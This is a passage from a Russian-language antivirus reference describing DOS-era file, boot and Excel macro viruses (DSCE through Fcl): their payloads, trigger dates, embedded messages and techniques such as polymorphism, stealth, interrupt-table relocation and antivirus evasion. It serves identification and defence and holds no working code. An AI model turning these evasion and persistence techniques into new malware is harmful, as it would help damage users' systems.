DSCE (Dark Slayer Confusion Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Создан китайским вирусописателем по
"кличке" Dark Slayer.
DSCE.Demo
Полиморфный вирус. Содержит строку
"This is a DSCE's Demo Virus written by [P.F]".
DSCE.Mdak
Неопасный резидентный вирус. Создает каталог "C:\TITOV MU.DAK".
DSME-вирусы
DSME (Dark Slayer Mutation Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Создан китайским вирусописателем по
"кличке" Dark Slayer.
DSME.Connie.1761, DSME.Connie.2708
Полиморфики. Первым делом пытаются заразить файл COMMAND.COM в корневом
директории диска C:.
Содержат текстовые строки:
DSME.Connie.1761 - "This is "Connie" Written by Dark Slayer in
Keelung TAIWAN".
DSME.Connie.2708 - "This is Connie v2.0 Written by Dark Slayer in
Keelung, Taiwan".
DSME.Teacher.3197
Полиморфик. Содержит текстовую строку "Teacher virus ( A demo virus
for DSME to all teacher )".
Dsu.1414
Опасный зашифрованный вирус. После 25 числа месяца перехватывает INT
17h (принтер) и при выводе на печать меняет русскую букву 'р' на 'г'.
Содержит текст "(c) 1994 DSU RadioFuck".
Dva.445, 749
Неопасные нерезидентные вирусы. Dva.749 28 февраля выводит текст "Happy
birthday VICTOR!!!". Содержат тексты:
Dva.445:
DVA желает вам хороших сновидений....
Completed!!!-Осторожно у вас в файле код Вируса FS-First!!!
Бойтесь меня
Dva.749:
Hello Victor&Igor!!!Victor`s Virus For Igor&ALL!!!
Warning!Super Virus!!!Hello!!HI!!!!ALL OK!!!DON'T WORRY
Dumb.4722
Неопасный резидентный полиморфный вирус. После 6500 нажатий на клавиши
вирус выводит текст:
I'm the first version of the first Romanian Polimorphic Virus.
Because I was borned in Romania, all the talking from now-on
will be in my language.
--DECI-- sa ne intelegem romaneste ca de la virus la posesor de virus :
Ma lasi sa traiesc linistit, te las sa traiesti linistit !
De acord ?
И ждет нажатия на клавиши "D", "N" или "Y". В зависимости от нажатой
клавиши выводит следующие тексты:
Bine mosule, tu ai vrut-o !!
Works for me...
O.K. man...I'm with you.
Bine mai ... Si nu mai fi asa de speriat !!
Удаляет файл ANTI-VIR.DAT.Содержит тексты "I dunno what you think about
me but i am NOT dumb !", "16-9-1995 || 23:56.00".
Duran
Опасный Boot-вирус. Если произошло 32768 вызовов INT 13h после загрузки
системы, то вирус уничтожает MBR и свой вирусный код, находящийся в
нем. Содержит тексты "(c)AVB91" и "Duran-Duran lives...".
Dwbomk.607
Опасный резидентный вирус. 17 января выводит на экран текст "Воть етя
вирясь "DWBoMK" МИСиС,ПМП,ТЭМ-96-1" и уничтожает содержимое первого
жесткого диска.
EA.Asmodeous.882, 1160, 1343, 1359, 1437, 1450, 1829, 1833
Опасные резидентные вирусы. Вирусы состоят из 10 составных частей, 9 из
которых вирусы при заражении файлов меняют местами в случайной
последовательности. 11 ноября вирусы пытаются удалить все файлы, поиск
которых производится посредством функций 4Eh, 4Fh INT 21h. Содержат
строку "ASMODEOUS" или "Asmodeous".
EA.Asmodeous.1444
Очень опасный вирус. Вирус состоит из 16 составных частей, 15 из
которых вирус при заражении файла меняет местами в случайной
последовательности. Первым делом вирус пытается заразить командный
процессор, считая, что он должен быть обязательно в формате COM-файла.
При заражении COM-файлов, первая инструкция которых JUMP, вирус
внедряет 8 байт команд своего перехода в область второй ассемблерной
инструкции. Если же у COM-файла первая команда не JUMP, то вирусу не
удается заразить такой файл из-за ошибки, и система, как правило,
"зависает". 27 декабря вирус пытается уничтожить содержимое 15 первых
секторов жесткого диска. Удаляет программу AIDSTEST.EXE при ее запуске.
Вирус перехватывает INT 17h (принтер) и при печати выводит слова,
отсутствующие в нормативной лексике. При заражении командного
процессора вирус выводит сообщение "HS86.5 Ver 5.09.Copyright by EA
computers inc.1994". Содержит строку "SNAIDSTESTCOMEXE".
EA.Birthday
Неопасный резидентный вирус. 27 декабря выводит текст:
Сегодня надо поздравлять Лену Сошникову
с днем рождения,а не работать.
Содержит тексты:
BIRTHDAY (C) EA inc.
Лозинский! Моя нижайшая просьба - переименуй ASMODEOUS'а в его
настоящее имя,т.е. в ASMODEOUS
Love&Death Co.
EA.Dictexe
Неопасный резидентный вирус. Содержит текст "DICTEXE (C) EA inc.".
EA.Hs
Опасный резидентный вирус. "Перехватывает" INT 17h, 21h. При печати на
принтере вставляет после запятой одно из следующих словосочетаний:
",вот", ",короче", ",таво этава". Может вывести на экран текст
"HS86.42 Ver 4.09.Copyright by EA computers inc.1994".
EA.Satana.665, 666
Опасные резидентные вирусы. 11 ноября записывают во все запускаемые
программы строку "Сатана там правит бал". Содержат также текст
"SATANA 666 (C) EA inc.".
Ear.Leonardo
Опасный нерезидентный шифрованный вирус. В зависимости от своих
счетчиков может удалить все файлы в текущем директории, файлы
c:\autoexec.bat и c:\config.sys, или записать в начало файла c:\io.sys
текст "Leonardo v 2.0".
Ear.Shame
Опасный нерезидентный шифрованный вирус. Пытается удалить файлы
TBSCAN.EXE, ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, IVB.NTZ. Иногда
выводит на экран одно из следующих сообщений:
Shame on you!
Where did I come from?
Dedicated to the people of Chung-Li, Tiawan.
I feel safe, don't you?
Dope!
Tiwanese rise to the top while looking down at the empty bottom...
Wait for the departure of you life...
God loves you!
Ur virux protexion sux.
It's a Shame.
Ebola.3000 (1-3)
Неопасные резидентные полиморфные стелс-вирусы. Иногда выводят на экран
следующие тексты:
Ebola.3000 (1): Ebola.3000 (2): Ebola.3000 (3):
Ebola virus 1.0! Ebola virus 1.2! Ebola virus 1.4!
Extremly stealth Extremly stealth Extremly stealth
mutating system! mutating system! mutating system!
Technical infos: Technical infos: Technical infos:
No way to detect No way to detect No way to detect
Heuristic analys Fucked heuristic Fucked heuristic
often impossible Greets go to all Greets go to all
Greetings go to virus developing virus developing
author of Volkov groups in Brno ! groups in Brno !
Your data are OK Czech republic94
aNytime,ANywHere
Czech rep. 1994!
Eddie.651
Содержит строку "Eddie lives".
Eddie.1530
Опасный резидентный вирус. Иногда "вешает" систему и изменяет тип диска
в CMOS-памяти.
Eddie.1800 (1-3)
Очень опасные резидентные вирусы. Производят запись в случайные сектора
текущего диска 512 байт своего кода. Перехватывают INT 21h, 27h. Не
дают изменить адрес вектора INT 21h. INT 27h используется для контроля
за INT 21h. Первоначальный вариант вируса содержал текстовые строки:
Eddie lives...somewhere in time!
Diana P.
This program was written in the city of Sofia (C) 1988-89 Dark Avenger
Eddie.2000 (1-3), Eddie.2100
Очень опасны также, как и Eddie.1800. Содержат строки:
Eddie.2000:
Zopy me - I want to travel или Only the Good die young...
Диана П.
(c) 1989 by Vesselin Bontchev
Eddie.2100:
Eddie lives
(c) 1990 by Vesselin Bontchev
При старте программ, содержащих в своем теле строку "by Vesselin
Bontchev", вирусы "зацикливают" и "вешают" систему.
Eddie.Alexander.1843, 1951, 2104
Неопасные резидентные вирусы. Иногда выводят текст:
г======================================¬
¦ Apa depistata in microprocesor ! ¦
¦ Functionarea poate fi compromisa ! ¦
¦ Se recomanda oprirea calculatorului ¦
¦ citeva ore pentru uscare ! ¦
¦ ¦
¦ Alexander - Constanta, Romania ¦
L======================================-
Eddy.1422
Опасный резидентный вирус. Может уничтожить содержимое CMOS-памяти и
вывести на экран слово "Eddy".
Ekaterinburg
19 августа выводит на экран бело-сине-красный российский флаг. Содержит
свое зашифрованное название - Ekaterinburg.
Elaine.1127
Опасный резидентный вирус. "Перехватывает" INT 13h, 21h. С вероятностью
1/256 инвертирует первый байт в буфере при записи на диск (f.03h, f.0bh
Int 13h). Содержит текст "Elaine 1.0 28 May 1994".
Elcn.374, 424, 550
Неопасные нерезидентные вирусы (Elcn.550 - опасен). Elcn.374 в 8:20
выводит текст "Лозинский - ЛОСЬ !!!". Elcn.424 выводит текст "Ты за
Ельцина [y/n] ?" и в зависимости от ответа выводит одно из сообщений
"Значит ты ублюдок !", "Я тоже.". Elcn.424 содержит текст "Bryansk
ELCN", Elcn.550 - "Bryansk DRxy". Elcn.550 может уничтожить начальные
сектора дисков. Может вывести текст:
NO ROM BASIC
SYSTEM HALTED.
Elene.1000
Неопасный резидентный вирус. 20 февраля выводит на экран текст:
Сегодня Леночкин день рождения
Москва - Санкт-Петербург, Июль-Август 1994г.
Em.1303
Опасный нерезидентный вирус. Заражает EXE-файлы на диске C:. При старте
инфицированного EXE-файла, вирус записывает в файл C:\AUTOEXEC.BAT
после переменной среды "PATH=..." слово "em", создает файл C:\EM.COM и
записывает в него свой вирусный код. При старте данного файла EM.COM
вирус производит поиск и заражение EXE-файлов в каталогах диска C:.
28 числа вирус заменяет первый символ имен файлов диска C: на пробел.
Emm.4870, 4910, 5952
Полиморфные вирусы. 7 числа месяца могут вывести на экран сообщения:
Emm.4870: Welcome to the Explosion's Mutation Machine ! Dis is level 3.
Emm.4910: Frog man Cracker cLub = FCL'name : [ MAINDE ]
We Must Love SVS !!!
Emm.5952:
Dedicated to LEELOO and Mr. Dallas from the movie "THE 5th ELEMENT"
I (L.BB) LOVE MILA JOVOVICH (LEELOO)
Имеют очень мощный полиморфный механизм, в силу чего содержат довольно
много ошибок, из-за которых зашифрованные файлы не расшифровываются.
Содержат строки "EMM 1.0", "COM EXE SCAN VSHIELD CLEAN FINDVIRU GUARD
VIVERIFY TB -V VIRSTOP NOD HIEW PASCA NETENVI F-PROT CHKDSK". Не
заражает файлы, указанные в предыдущей строке. Если вирус находит один
из резидентных драйверов "TBMEMXXX, TBCHKXXX, TBDSKXXX, TBFILXXX", то
он предпринимает попытки помешать их нормальной работе. Emm.5952
содержит также следующий текст:
[LBBME] L.BBs polymorphic engine
Dear Milla Jovovich,
I decided to write this one just for you.
Anyway, I know will never meet you but I want
to let you know: the 5th element was the best
movie you made. And you played "Leeloo" very
good (just perfect). He virus-killers:
If this message doesnяt get to her, I will
release the most powerful virus all over the
world. The beta canяt even be scaned by this
scanners: SCAN,TBAV,SDSCAN,NORTON,SOLOMON
F-PROT,VIRSTOP,VIRSTOP2,MSAV,SDRES,SDSCAN,
TBSCAN,TBMEM,VSAFE,CPAV,FSP,SCANPM,VDEFEND,
The virus is XXXX Kb compiled code without my
polymorphic engine [LBBPE].
The destructive code is still the most powerfull
one Iяve ever seen on other virii. OK SEE YA!
THIS VIRUS WILL BE RELEASED VERY SOON. THE BETA
IS ALEREADY ON SOME COMPUTERS. AND THIS VIRUS WILL
BE PERFEKT. Ohh, (for Thundebyte) I forgot to say
that I have the soucer-code of all your a-virus tools
Nice isnяt it?
MILLA I LOVE YOU! BYE! STOP SENDING CHANCELBOTS TO THE NEWSGROUPS!!!!!!!
Emm.LionKing
Очень опасный резидентный полиморфный стелс-вирус. Иногда может вывести
сообщение:
Ja som virus Lion King
Formatujem ti disk lebo devastujes prirodu
После чего уничтожает некоторые сектора жесткого диска. Содержит тексты
"Vypadni z tejto casti RAM!", "cpav msav enav scan viverify avg nodex
pkzip arj uc lharc arc lha chkdsk", "by LST- 2005". Не заражает файлы,
указанные в предпоследней строке или выключает свой стелс-режим при
работе некоторых этих программ. Если вирус находит один из
резидентных драйверов "TBMEMXXX, TBCHKXXX, TBDSKXXX, TBFILXXX", то он
предпринимает попытки помешать их нормальной работе.
Emmie.2604, Emmie.2620, Emmie.2702, Emmie.2823, Emmie.3097
Очень опасные вирусы. Emmie.2823, 3097 - самошифрующиеся вирусы.
Трассируют INT 13h, 21h, 26h. Изменяют цифры, выводимые на экран или
принтер. Повторяют символы, введенные с клавиатуры. Если год нечетный -
уничтожают информацию на первых 17 секторах "винчестера" (Emmie.2823,
3097 - 8 марта если год нечетный). При заражении изменяют три байта
второй ассемблерной инструкции программы-жертвы на команду перехода
(CALL NEAR PTR) на основной вирусный код, который располагается в конце
зараженного файла. Для определения адреса второй команды вирусы
используют трассировку начальных байт программы. Содержат тексты: "My
name is Emmie, I am Eddie's sister." и "It'll tire you too much.".
Emperor.FitW.7918 (1,2)
Очень опасный полиморфный файлово-загрузочный стелс-вирус. Данный вирус
состоит, как бы, из двух частей. При запуске инфицированного файла,
первым делом вирус заражает MBR жесткого диска (при наличии контроллера
IDE, вирус программирует его порты при записи) и устанавливает свою
резидентную копию в память (возможно в область UMB) и "перехватывает"
INT 21h. При вызове некоторых функций INt 21h (4Ch, 4B00h, 3Dh, 3Eh)
вирус производит полиморфное заражение COM и EXE-файлов. 1, 3, 5, 7 и 9
числа месяца вирусы блокируют клавиатуру (INT 9) и уничтожают
содержимое всех жестких дисков. При нажатии на клавиши во время данной
акции, вирус выводит текст:
The "FartStorm" coded by Demon Emperor "Big hello to Cmoskiller&Xorboot"
Are you wild? Hey don't... wait... let us talk... No? Be off lame fuckhead!
Инфицированный MBR и "вирусное продолжение",расположенное в 8 последних
секторах жесткого диска не содержат процедур заражения файлов и могут
заражать только загрузочные сектора дисков. При загрузке системы с
инфицированного диска, вирус располагает свою копию в верхних адресах
памяти, "ждет" загрузки DOS и "перехватывает" INT 13h (операции с
диском). При обращении к дискам вирус заражает их. В MBR жесткого диска
записывается полиморфнозашифрованный вирусный загрузчик. В загрузочные
сектора дискет вирус записывает также полиморфный загрузчик, но только
данный код не зашифрован, а "наполнен" "мусорными" инструкциями, т.е.,
"полезные" команды перемежаются "бесполезными" командами. 8 секторов
своего кода и оригинальный загрузочный сектор флоппи-диска вирус
записывает на дополнительную, отформатированную им, дорожку. Данные
вирусы "переживают" перезагрузку системы с "чистой" системной дискеты,
манипулируя с данными CMOS-памяти, также, как и вирус Mammoth.6000.
Данные вирусы, видимо, принадлежат "перу" автора вируса Mammoth.6000.
Вирусы содержат текст "Fart in the wind".
Emperor.Hare.7610, 7750, 7786
Опасные файлово-загрузочные полиморфные вирусы. При заражении MBR
уничтожают таблицу разделов диска (partition table),поэтому код данного
вируса нельзя удалять командой "FDISK /MBR". При нахождении строки
"WIN=" в области окружения (environment) вирус уничтожает файл
\SYSTEM\IOSUBSYS\HSFLOP.PDR в каталоге WINDOWS. Вирусы оригинальным
способом генерируют свой полиморфный код. При заражении MBR вирусы
записывают в последний сектор диска случайные данные и никогда потом
эти данные не изменяют. Данный сектор служит в дальнейшем для вируса,
как поставщик случайных значений для генератора случайных чисел. При
заражении объектов на вход генератора полиморфного кода поступают одни
и те же значения - в результате всегда генерируется один и тот же код.
Т.е., на одном компьютере все инфицированные файлы будут иметь
одинаковые вирусные расшифровщики и ключи, с помощью которых зашифрован
вирусный код. 22 августа и 22 сентября вирусы выводят на экран тексты:
Emperor.Hare.7610:
"HDEuthanasia" by Demon Emperor: Hare Krsna, hare, hare...
Emperor.Hare.7750:
"HDEuthanasia-v2" by Demon Emperor: Hare Krsna, hare, hare...
Emperor.Hare.7786:
"HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare...
и уничтожают содержимое жесткого диска.
EncePhalyt
Очень опасный Boot-вирус. Не сохраняет оригинальные MBR и Boot-сектора
дискет при заражении. В конце кода содержит свое зашифрованное (NOT
BYTE PTR) имя.
EndOf.783, 788
Неопасные резидентные вирусы. Содержат строку "end of".
Enola.1183
Неопасный резидентный вирус. Устанавливает свою резидентную копию в
верхние адреса памяти, "перехватывает" INT 21h, 27h, 2Fh, "ждет" вызова
INT 27h или функции 31h INT 21h(завершить работу и остаться резидентно)
и перемещает свой код в область памяти, следующей сразу за программой,
остающейся резидентно в памяти. Препятствует работе MS-Windows в
расширенном (enhanced mode) режиме. Содержит тексты "Enola Gay
ver.2.01 (C) 1994 by HPR Lab.", "Accidents newer happen...".
ErasePT.512
Опасный нерезидентный вирус. Производит поиск и заражение *.EXE файлов
на текущем диске, кроме флоппи-дисков. Внедряет в MBR код, который
после 207 загрузок с жесткого диска уничтожает информацию о разделах
жесткого диска (Partition Table). Исправление такого MBR не всегда
представляется возможным.
Ester
Опасный загрузочный вирус.Оригинальный MBR жесткого диска не сохраняет.
При заражении диска B: пытается произвести запись на диск A:.
Evc.161
Опасный резидентный замещающий вирус. 5 числа выводит текстовую строку
"MaKe ViRii oUT T aSS". Имеется также текст "EVC 1.0".
Evgenich.161
Неопасный нерезидентный вирус. Содержит строку "Evgenich".
Evolution.2761, 2770
Очень опасные резидентные полиморфные стелс-вирусы. Размещают свою TSR-
копию в области UMB или в верхних адресах основной памяти.
Перехватывают INT 09, 13h, 21h. При каждом 256 вызове INT 13h с AH=2
(чтение секторов) или AH=3 (запись секторов) вирусы случайным образом
изменяют случайный бит в буфере данных ES:BX. При открытии (f. 3Dh INT
21h) инфицированных файлов при активных резидентных вирусах, вирусы
удаляют свой код из данных файлов, используя своеобразный
стелс-алгоритм. Вирусы читают зараженный файл в память и трассируют
инструкции полиморфного расшифровщика. После расшифровки вирусы
устанавливают оригинальные, ранее зашифрованные, служебные значения
заголовка EXE-файла и восстанавливают оригинальную длину файла. При
закрытии (f. 3Eh INT 21h) данного файла вирусы снова заражают его.
Вирусы используют команды 386 процессора. При установке своей
резидентной копии вирусы проверяют - находится ли процессор в
защищенном или реальном режимах работы. Если процессор работает в
защищенном режиме, то вирусы пытаются устанавливать свою TSR-копию в
область UMB или в верхние адреса памяти, как обычные резидентные
вирусы. Если же i386 находится в реальном режиме работы (EMM386, QEMM,
MS-Windows, OS/2,.. не установлены), то вирусы устанавливают таблицу
векторов прерываний, находящуюся по адресу 0000:03FF в дескрипторную
таблицу прерываний IDT, находящуюся в зарезервированной вирусами
памяти, посредством команды i386 - LIDT. В данном случае IDT является
прямой заменой таблицы векторов прерываний i8086. И процессор i386 при
вызове любого прерывания использует адрес прерывания из IDT,
находящейся в телах вирусов Evolution. Реальную таблицу векторов
прерываний можно "забить" нулями, но система будет прекрасно работать,
ориентируясь на IDT. В данном случае определить наличие вирусов в
памяти очень трудно, т.к., определение адресов перехваченных вирусами
прерываний посредством прямого чтения их значений из таблицы векторов
прерываний не предоставляется возможным. Иногда при нажатии на клавиши
CTRL, ALT или DEL вирусы могут вывести сообщения (первое сообщение на
китайском языке):
Evolution.2761 -
-=Ёрсо¦ъ[¦+Рф/DLХ¦rv--¦¦¦¬уСёэ1'oL¦гЯа¦k \ич=-¬Dec 1993-¦6-
Evolution.2770 -
-=Ё Evolution 2001 Virus was done by lord Salivantis - Nov/Dec 1993 Ё=-
ExcelMacro - вирусы
Вирусы, заражающие текстовые файлы-таблицы в формате Microsoft Excel.
Заражение системы вирусами происходит при открытии на редактирование
зараженных файлов-таблиц. При открытии файла-таблицы MS Excel вызывает,
находящиеся в этих таблицах вирусные макросы, которые написаны на языке
Visual Basic и в дальнейшем могут быть определены, как глобальные
макросы. Данные макросы производят копирование вирусного тела -вирусных
макросов при сохранении "старых таблиц" или вновь создаваемых через
команду "Save As" или "Save". Также данные вирусы могут производить
поиск таблиц в формате MS-Excel и производить в них запись вирусных
макросов. При выходе из MS-Excel происходит автоматическая запись
вирусных глобальных макросов в XLS-файл (как правило, это файл
PERSONAL.XLS). Таким образом, при следующем старте MS-Excel снова а
автоматически загрузит вирусные глобальные макросы из файла глобальных
макросов PERSONAL.XLS.
ExcelMacro.Legend
Неопасный макро-стелс-вирус. Удаляет пункт меню "Tools|Macro". Если
UserName="Pyro" и OrganizationName="VBB", то вирус прекращает работу и
файлы не заражает. Может вывести сообщение:
Pyro [VBB]
You've Been Infected By Legend!
ExcelMacro.Robocop
Опасный макро-вирус. Первого марта вирус помещает в текущую таблицу
текст "ROBOCOP Nightmare Joker [SLAM]".
ExcelMacro.Yohimbe
Опасный макро-вирус. Записывает строку "Yohimbe" в заголовок заражаемой
таблицы. В 16:45 вставляет в текущую таблицу картинку и текст: FUCK YOU
BUDDY".
ExeBug (1-6)
Очень опасные загрузочные стелс-вирусы. Иногда записывают в EXE-файлы
троянский код, уничтожающий содержимое жесткого диска. Некоторые
модификации вируса постоянно включает и выключает признак наличия в
КМОП (CMOS)-памяти дисководов флоппи-дисков, корректируя контрольную
сумму данной CMOS-памяти. При обращении к флоппи-дискам вирусы
"включают" наличие дисководов в CMOS. После обращения - "отключают". В
результате, при загрузке системы с "чистой" системной дискеты,
дисководы дискет могут оказаться "неустановленными", и система в таком
случае попытается загрузиться с жесткого инфицированного диска. Вирусы
первым получат управление, установят свои резидентные копии в
память, "включат" наличие дисководов в CMOS-памяти и отдадут управление
Boot-сектору диска A:. Т.о., вирусы получат управление даже при
загрузке с "чистого" системного гибкого диска! ExeBug (6) блокирует
включение некоторых графических видеорежимов, содержит зашифрованный
текст "Antigame from The Rat".
ExeHeader - вирусы
Вирусы, внедряющие свой код в заголовок (header) EXE-файлов. Некоторые
из этих вирусов переводят файлы из формата EXE в COM заменой сигнатуры
"MZ" на JUMP. Не изменяют длины файла.
ExeHeader.396
Периодически уничтожает содержимое 10 секторов, начиная с 7 сектора
0 цилиндра 4 головки первого жесткого диска.
ExeHeader.3E
Записывает свой код в область стартового кода инфицируемого EXE-файла,
перенеся программный код в область заголовка EXE-файла. Заражает EXE-
файлы при их закрытии (f.3Eh INT 21h) Содержит тексты "3E", "EXE".
ExeHeader.Andryushka (1,2)
Работоспособны только на XT. Содержат тексты "Copyright (c) 1992 by
Андрюшка", "Mz1" или "MzExe".
ExeHeader.ATCorp
Содержит текст "(c) AT Corp. 1994".
ExeHeader.Clust
Зашифрованный резидентный вирус. Содержит строки "[Clust2]" и
"JT / TridenT".
ExeHeader.Dina.271, 283
Содержат текст "Dina v4.2r" или "Dina v4.4r".
ExeHeader.Dragon
Инсталлируется в память и внедряется в цепочку дисковых драйверов.
Содержит строку "DRAGON-2 Anti".
ExeHeader.Em
Содержит строку "EM".
ExeHeader.Funked (1,2)
Неопасные шифрованные резидентные стелс-вирусы. Трассируют INT 13h и
вклиниваются в цепочку обработчиков INT 13h. Свою TSR-копию располагают
в области HMA. После установки TSR-копии вирусы удаляют свой код из
стартовавшего инфицированного файла. В дальнейшем вирусы скрывают свое
присутствие в зараженных EXE-файлах.
ExeHeader.Gregory
Пытается заместить собой вирус ExeHeader.394. Содержит текст
""* Григорий Б.С. C-2.3 *"".
ExeHeader.Hobbit
Содержит строку " HOBBIT ".
ExeHeader.I03
Опасный резидентный вирус. Заражает EXE-файлы, внедряя свой код в
заголовок EXE-файла, в область неиспользуемых элементов таблицы
перемещаемых символов. Изменяет размер заголовка EXE-файла (Header
Size, смещение +8), не сохраняя оригинальное значение, и в
освободившееся место записывает свой вирусный код. В соответствии с
этим корректирует таблицу перемещаемых символов (Relocation Table).
Т.к., вирус не сохраняет значение размера заголовка EXE-файла, то
полное восстановление инфицированного файла невозможно, но вероятность
работоспособности программы после лечения - довольно высока. В теле
вируса имеется строка "~I~03".
ExeHeader.Kibina.390, 398
Опасные резидентные вирусы. Внедряются в дисковый буфер и перехватывают
INT 13h. 26 апреля при записи секторов через INT 13h (AH=3) вирусы
записывают в данные сектора часть своего кода, начинающийся с тестовой
строки "Olya Kibina".
ExeHeader.Louse
Неопасный резидентный стелс-вирус. Содержит текст "LOUSE 1.0 (C) VANO".
ExeHeader.Mike.252, 256
Содержит строку "(c) MIKE.", которая используется в вирусном коде, как
инструкции ассемблера. ExeHeader.Mike.256 также содержит строку "Hi".
ExeHeader.Ming
Иногда выводит на экран текст:
Written By Crazy Lord (Ming)
Made In Hong Kong
ExeHeader.Nla
Опасный вирус. Разрушает ARJ-архивы, записывая в них, по смещению +0Eh
2 случайных байта. Содержит строку "NLA".
ExeHeader.Pure.427, 441 (1-3)
Написаны очень оригинально. ExeHeader.Pure.427 содержит интересные
приемы, направленные против отладчиков.
ExeHeader.Renegade (1,2)
Излечивает файлы от вируса ExeHeader.Hobbit и записывает себя вместо
него. Содержит строку "Renegade".
ExeHeader.SkidRow.415, 418, 427, 432
Располагают свою TSR-копию в одном из системных буферов DOS и
перехватывают INT 13h. Если значение дня совпадает со значением месяца
выводят в верхнем правом углу текст:
ExeHeader.SkidRow.415, 427: This is Skid-Row Virus
Written by Dark Slayer
* in Keelung. Taiwan *
ExeHeader.SkidRow.432: This is Skid-Row Virus
Written by Dark Slayer
% in Keelung. Taiwan %
ExeHeader.SkidRow.418 при чтении и записи своего кода в сектора
жесткого диска использует программирование IDE-контроллера.
ExeHeader.Sot
Содержит текстовую строку "Sot".
ExeHeader.TheRat
Опасный вирус, может разрушить некоторые файлы из-за ошибки. Содержит
строку "The Rat, Sofia". Размещает свою резидентную копию в области
стека DOS.
ExeHeader.Vvm.204, 205 (1,2)
Содержат строку "(C)VVM*".
ExeHeader.Vvm.207
Содержит строку "XAM".
Exp.1617
Опасный резидентный вирус. При открытии инфицированного файла вирус
удаляет свой код из данного файла. 24 января уничтожает первые сектора
первого жесткого диска и выводит текст "Experimental virus v1.0 by TC
(Spain 1994).".
Explosion.1000
Неопасный резидентный вирус. Иногда, 7 числа, выводит на экран текст:
Dis is one virus.
Leave the room IMMEDIATLY !!!
Your PC is about to EXPLODE within 20 sec !
EXPLOSION
What did you expect ?
Exterminate.1632
Неопасный резидентный зашифрованный вирус. Пытается разместить свою
TSR-копию в области UMB. Может перехватить INT 21h "врезкой" 5 байт
"длинного" JUMP на вирусный обработчик INT 21h. После апреля
периодически выводит исчезающее сообщение:
---Exterminate--- virus from "Divide by 0" group
Written by A.B.C. launch:17.03.94
Members of D.B.0. grou[4ллТє+лклZ¬¦л¦лЫ4ллТє+Ц+¬¦¬
Fab.1755
Неопасный резидентный вирус. Упакован LZEXE. Резидентная копия вируса
"хранит" в памяти и свою нераспакованную копию. При заражении EXE-
файлов вирус создает файл $$$$$$$$, в который записывает свою копию,
упакованную LZEXE, а затем дописывает и весь файл-жертву. Оригинальный
файл удаляется, а файлу $$$$$$$$,содержащему копию вируса присваивается
имя оригинального файла. При невозможности открыть файл, из которого
стартовал вирус, для считывания в память кода программы, вирус выводит
текст "Error in EXE file". Содержит строку "*FAB*".
Face.414
Размещает свою TRS-копию в область памяти, содержащую 414 повторяющихся
нулевых байт. Перехватывает INT 21h и заражает файлы при их создании.
Иногда изменяет в выводимом на экран тексте некоторые символы на символ
с кодом ASCII 01 ().
Face.2521
Неопасный резидентный вирус, заражающий COM, EXE и SYS-файлы. При
первом запуске инфицированного COM или EXE-файла, вирус производит
поиск на текущем диске файла CONFIG.SYS. Если данный файл найден, то
вирус ищет в данном файле первый загружаемый файл с расширением SYS и
заражает этот файл, если он еще не инфицирован. После чего вирус отдает
управление программе - вирусоносителю. При загрузке в память
инфицированного SYS-файла, вирус размещает свою копию в памяти и
перехватывает INT 21h. При запуске COM и EXE-файлов вирус заражает их.
Иногда вирус стирает текстовую строку "бегущим" символом ASCII 01 ().
Содержит строки "COMMAND.COMEXECOMSPEC=C:\CONFIG.SYS DEVICE".
Faerie.276
Не заражает COMMAND.COM. Имеется строка "COMMAND.*.COM Faerie".
Fafb.948
Неопасный резидентный вирус. После установки в память своей резидентной
копии, вирус самостоятельно "излечивает" своего файла-хозяина на диске,
запускает его (f.4B00h Int 21h), после чего пытается еще заразить *.COM
и *.EXE-файлы в каталогах, доступных через переменную PATH.
Fair.2083 (1,2), 2340
Неопасные резидентные шифрованные вирусы. Fair.2083, при старте какой-
то программы, (вирусы проверяют заголовок файла) выдают сообщение:
This is an [ illegal copy ] of KeyPress virus remover
System Halted
Fair.2340 иногда печатают на экране текст "Time Machine, Running.".
Fair.2083 содержат также строку "Eternal Fair".
FairGround.813
Неопасный резидентный шифрованный вирус. Содержит текст "FAIRGROUND (c)
BlackFlash!".
Fans.500, 560
Неопасные резидентные шифрованные вирусы. Содержат тексты:
Fans.500 - Fans Ver 0.00
Fans.560 - Fans Ver 0.01
Fanthomas.1443
Неопасный файлово-загрузочный вирус. Инфицированные EXE-файлы заражают
MBR жесткого диска, а инфицированные COM-файлы устанавливают в память
резидентную копию и "перехватывают" INT 13h, 21h. 21 июля вирус
"перегружает" систему. Содержит текст "-=ЁFANTHOMAS vir. 1.0ў(c)
SzczecinekўDla Izy W. z BestwinyЁ=-".
Fantomas.432
Очень опасный резидентный вирус. В нечетные месяцы уничтожает первые 16
секторов логических дисков D:, E:, F: и выводит текст "FANTOMAS".
Farside.3008
Неопасный резидентный вирус. Иногда, а также 6 апреля выводит текст:
For cryin'out loud! My circuits are haunted by the ghost of a porcupine. . .
Содержит также строку "FARSIDE virus 1.00 (C) Windom Earle ROMANIA".
Fascist.442
Заражает *.COM файлы, производя поиск их на всех доступных устройствах
жесткого диска в текущих каталогах. С ноября выводит в графическом
видеорежиме изображение российского флага, знака "=" и фашистской
свастики.
FATAvenger
Неопасный загрузочный вирус. Содержит текст:
THIS PROGRAM WAS WRITTEN IN INDIA.(c)1993 FAT AVENGER
PS. this program is not meant to be destructive
Favour.2576, 2608
Очень опасные резидентные стелс-вирусы. Favour.2608 после 8 июля 1995
года изменяет в некоторых EXE-файлах сигнатуру 'MZ' на нули; иногда
"гасит" экран; содержит текстовую строку "FAVOUR". Favour.2576 начиная
с июля 1995 года, если значение секунд системного времени больше 10,
при закрытии файлов (не в формате EXE), файловый манипулятор (file
handler) которых имеет значение больше, чем 5, вирус уничтожает 4
первых байта данных файлов. Иногда может вызывать печать экрана на
принтер (Int 5 Print Screen). Содержит зашифрованное слово "KVITOK".
FaXFree.Abstract
Неопасный резидентный вирус. Содержит текст "MOSQUITO DOS 7.00 NODOSACT
SPECIAL THANKS TO MAXCC (c)91-92 rel.2soon ABSTRACTSPACE P. 0.98 Rev 4
24IX89 bye bye Copy at your own risk".
FaXFree.Fam
Опасный резидентный вирус. Может записать в загрузочный сектор текущего
диска троянский код. Иногда выводит текст:
Umb ho utilizzato solo il virwork di DarkOver bye bye
Fago_T2 new name 2/4/92
Также содержит тексты:
Work Area stopHello this is the core Rev 5 5/17/91 P 1c
Fago_T2 data add 0022 year 0025
Fago_T2 count add 0027 cs 002b
FAM Associates. Kill with us F.A. from PE, Italy. Help us!
Fcl.2044
Неопасный резидентный шифрованный вирус. Содержит текст "[FCL virus ]
